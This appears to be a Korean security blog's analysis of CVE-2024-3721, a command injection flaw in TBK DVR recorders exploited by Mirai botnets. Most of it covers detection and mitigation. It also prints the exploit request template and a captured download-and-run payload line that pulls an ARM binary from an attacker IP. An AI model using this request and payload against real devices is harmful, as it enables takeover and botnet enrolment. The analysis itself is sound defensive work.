
CVE-2024-3721
1. Vulnerability Overview
| 대상 제품 | 대상 버전 | 취약점 유형 | Root cause | 사전 조건 |
| TBK DVR-4104, DVR-4216 |
2024-04.12 이전 firmware | Command Injection |
/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX ___&mdb=<OS command> | 네트워크를 통한 DVR 웹 인터페이스/HTTP 서비스에 접근가능해야 한다. |
2. Execution Summary
이 CVE가 무엇이고, 어떤 환경에서 가장 위험한지 요약한다.
- TBK DVR-4104/4216은 CCTV 시스템에서 널리 사용하는 디지털 비디오 레코더(DVR) 장비로, 원격에서 웹 인터페이스를 통해 관리·모니터링할 수 있다.
- 이 장비의 "device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___" 엔드포인트는 내부적으로 mdb / mdc 매개변수를 이용해 시스템 명령을 실행하는데, 입력 값 검증이 부실해 공격자가 임의 셀 명령을 주입할 수 있다.
- 공개된 PoC와 실제 공격 사례에 따르면, 공격자는 간단한 HTTP 요청 한 번으로 원격 장비의 리눅스 shell을 장악하고 악성 바이너리(ARM32)를 다운로드 및 실행하여 봇넷의 일부로 편입시킬 수 있다.
3. Exploit & Behavior Analysis
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<명령문> HTTP/1.1
Host: <target DVR>
User-Agent: Mozila/5.0
Content-Length: ...
<바디 없음 또는 최소 데이터>
HTTP Exploit 호흡
- 공격자가 TBK DVR의 HTTP 서비스에 POST 요청 전송
- /device.rsp 핸들러가 mdb / mdc 매개변수 수신.
- 내부 코드에서 mdb / mdc를 사용해 시스템 명령을 조합 후 실행
- mdc에 포함된 wget, chmod 실행 명령이 DVR OS 상에서 root 또는 높은 권한으로 실행
- 다운로드된 ARM32 바이너리가 상주 프로세스로 실행되며 C2에 beacon 전송
cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk
4. Threat Scenario
주로 공개된 분석을 보면 해당 취약점은 주로 Mirai 계열 봇넷에서 적극적으로 사용되고 있다.
Mirai Variant (TBK DVR target)
- ARM32 DVR 환경만을 전제로 하기 때문에 아키텍처 탐지 단계 없이 바로 ARM 바이너리를 다운로드하여 실행한다.
- RC4 기반 문자열 암호화, VM/에뮬레이션 환경 탐지(프로세스 목록에서 VMware, QEMU-arm 여부 확인) 등 분석 회피 기능을 추가해 기존 Mirai 보다 탐지·분석을 어렵게 만든다.
- 감염 후에는 C2 서버에 등록되어 DDoS 공격(UDP/TCP flood 등) 또는 proxy 노드로 악용되며, CCTV용 DVR이 대규모 트래픽의 발원지가 되는 구조를 형성한다.
5. Detection & Mitigation
5-1. 로그 소스별 탐지 포인트 (Detection)
Network / WAF
- URI 패턴 : POST /device.rsp?opt=sys&cmd__S_O_S_T_R_E_A_MAX___&mdb=
- `mdc=` 매개변수 내에 ;, &&, |, `, wget, curl, chmod, ./arm7 등 shell 명령 패턴 출현
- 다운로드 트래픽 : DVR에서 외부 IP로의 HTTP GET /, 다운로드 시도 (42.112.26[.]36/arm7 등)
Host / EDR / System
실제 상용 DVR에 EDR을 삽입하기 어렵지만, 개념적으로 다음 같은 행위를 모니터링 대상으로 둘 수 있다.
- 웹 프로세스 또는 DVR 관리 daemon이 sh, busybox, wget, curl, chmod, rm 등 자식 프로세스로 실행하는 경우
- /tmp 디렉터리 내에 평소 존재하지 않던 실행 가능한 ELF 바이너리가 생성·실행되고 바로 파일이 삭제되는 패턴
Application log
- 관리자 로그인 없이 /device.rsp에 대해 설정 명령이 반복적으로 호출되는 패턴
- 정상 관리자 IP 범위가 아닌 외부 IP에서 장비 설정 관련 요청이 급증하는 경우
- Firmware 패치 이후에도 과거 취약 엔드포인트에 대한 요청이 반복적으로 들어오는 경우
5-2. 행위 기반 탐지 시나리오
"만약 공격자가 이 CVE를 통해 RCE를 얻었다면, 이어지는 행위는 무엇일까?를 가정한 흐름.
- Exploit 요청 : 외부 IP → DVR로 `POST /device.rsp? ... &mdb=sos&mdc=<shell 명령>`
- 다운로드 & 실행
- DVR에서 `wget http://<공격자 서버>/arm7`
- `chmod 777 *; ./arm7 tbk` 실행
- C2 등록 : 새로 실행된 프로세스가 특정 IP/포트로 정기 beacon
- 공격 명령 수신 : C2로부터 DDoS/스캔 명령 수신 후 외부/내부망으로 대량 트래픽 발생
이 흐름을 기준으로, 네트워크 모니터링에서 "DVR → 미지의 외부 HTTP 서버로의 다운로드 후, 곧바로 특정 IP로의 지속적인 TCP 연결" 패턴을 탐지 룰로 만들 수 있다.
5-3. 대응 방안 (Mitigation)
- 제조사에서 배포한 최신 버전으로 업데이트
- DVR 장비의 웹 관리 포트(HTTP, HTTPS)는 인터넷에 직접적 노출 금지
- DVR이 위치한 VLAB / segment와 중요 서버/업무망을 명확히 분리
6. Conclusion & Lesson Learned
- 인터넷에 노출된 임베디드 장비의 명령 주입 취약점은 즉시 봇넷으로 연결된다.
- TBK DVR 취약점처럼 OS Command Injection이 가능한 환경에서는, 단 한 번의 HTTP 요청으로도 root 수준 RCE와 봇넷 편입이 바로 이어진다.
- 관리용 인터페이스 설계 시 "입력값 검증 + 최소 권한 + 네트워크 제약"은 필수 기본 값이다.
- 내부 함수에서 외부 입력을 사용해 명령을 만들 경우, 반드시 완전한 인자 검증과 특수 문자 중화가 수행되어야 한다.
- 명령 실행 권한도 최소 권한으로 실행해야 한다.
- 최신 패치를 즉각적으로 반영해야 한다.
- IoT/DVR 제조사의 패치 정책 / 배포 채널 / 자동 업데이트 지원 여부는 보안 설계 요소로 두어야 한다.
- 패치가 어려운 장비는 네트워크 레벨에서라도 방어 계층을 두어, CVE가 공개된 직후 자동화된 scanning, botnet 공격에 노출되지 않도록 해야 한다.
Appendix
- TBK DVR 봇넷 공격 | 발생 알림 | FortiGuard Labs
- New Mirai botnet campaign targets DVR devices | Securelist
- New Mirai botnet targets TBK DVRs by exploiting CVE-2024-3721
- New Variant of Mirai Malware Targets TBK DVR Devices via Command Injection Flaw
'CVE' 카테고리의 다른 글
| TP-Link 취약점 (CVE-2023-1389) (0) | 2025.11.19 |
|---|